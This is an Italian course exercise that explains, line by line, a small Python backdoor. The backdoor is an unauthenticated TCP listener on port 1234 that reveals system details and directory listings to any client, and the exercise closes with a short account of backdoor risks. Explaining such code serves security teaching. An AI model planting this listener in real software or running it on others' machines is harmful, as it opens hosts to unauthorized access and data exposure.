

EPICODE

S3 - L4

INDICE

1 Traccia del compito

2 Import delle librerie

3 Creazione del socket

4 Ricezione comandi e chiusura della connessione

5 Conclusioni

1 Traccia

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
connection, address = s.accept()
```

2 IMPORT DELLE LIBRERIE

Il codice comincia importando le librerie: socket, platform, os.

```
import socket, platform, os
```



La libreria “socket” fornisce un’interfaccia per la comunicazione di rete ed è utilizzata per creare server e client di rete, consentendo loro di stabilire connessioni e scambiare dati tra loro



La libreria “platform” delle funzioni che permettono di ottenere informazioni sui sistemi operativi e sugli hardware.



La libreria “os” fornisce funzioni per l’interazione con il sistema operativo, consentendo agli script Python di eseguire operazioni di sistema come la gestione di file e directory.

3 CREAZIONE DEL SOCKET

```
SRV_ADDR = ""  
SRV_PORT = 1234  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind((SRV_ADDR, SRV_PORT))  
s.listen(1)  
connection, address = s.accept()
```

SRV_ADDR: Indirizzo IP del Server. Le doppie virgolette stanno a significare che è aperto a qualunque tipo di interfaccia di rete.

SRV_PORT: Porta dove associare il servizio, ovvero quella al cui il server si collegherà per intercettare le informazioni.

socket.socket: Viene creato un socket che resterà in ascolto.
AF_INET: Specifica che vogliamo un socket IPv4.
SOCK_STREAM: è per avere una connessione TCP.

BIND: permette di associare il socket creato con l'indirizzo IP e la porta specificate.
listen: configura il socket per ascoltare sulla coppia IP:PORTA. Il numero 1 indica il numero massimo di connessioni in coda

accept: accetta e stabilisce la connessione con il client. Restituirà poi l'identificativo del socket e l'indirizzo IP del client che si collegherà.

4 RICEZIONE COMANDI E CHIUSURA DELLA CONNESSIONE

Il server entra in un ciclo `while TRUE (1)`, ossia è un blocco di codice che viene eseguito ripetutamente finché la condizione specificata è vera. `«connection.recv(1024)»` utilizzato per ricevere i dati dal client, mentre la `print` stampa i dati a schermo dopo averli decodificati nel formato `utf-8`

```
print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue
```

Se il messaggio ricevuto è “1”, il server invia le informazioni sulla piattaforma utilizzando `“platform.platform”` e `“platform.machine()”`

```
if(data.decode('utf-8') == '1'):
    tosend = platform.platform() + " " + platform.machine()
    connection.sendall(tosend.encode())
```

Se il client invia il messaggio “2”, il server riceve ulteriori dati dal client tramite la connessione. Questi dati contengono un percorso per le directory. Il server tenta quindi di ottenere la lista dei file nella directory specificata utilizzando `os.listdir()`.

```
elif(data.decode('utf-8') == '2'):
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = ""
        for x in filelist:
            tosend += "," + x
    except:
        tosend = "Wrong path"
    connection.sendall(tosend.encode())
```

Se il client invia il messaggio “0”, il server chiude la connessione attuale con quel client e si mette in attesa di accettare una nuova connessione utilizzando `s.accept()`.

```
elif(data.decode('utf-8') == '0'):
    connection.close()
    connection, address = s.accept()
```

5 CONCLUSIONI

Nell'insieme complessivo il codice non richiede alcuna autenticazione, in questo modo qualsiasi utente può accedere al sistema tramite una backdoor, mettendo a rischio la sicurezza e l'integrità dei dati.

Una backdoor è una porta nascosta in un sistema informatico che permette l'accesso non autorizzato. Può essere introdotta deliberatamente da sviluppatori o attaccanti.

Le vulnerabilità associate includono:

Accesso non autorizzato: Un attaccante può entrare nel sistema bypassando l'autenticazione normale, mettendo a rischio la sicurezza.

Violazione della privacy: L'accesso tramite backdoor può compromettere la privacy degli utenti e delle informazioni.

Installazione di malware: Le backdoor possono essere utilizzate per installare software dannoso, come virus o ransomware.

Furto di dati: Gli attaccanti possono sfruttare le backdoor per rubare informazioni sensibili, come dati personali o finanziari.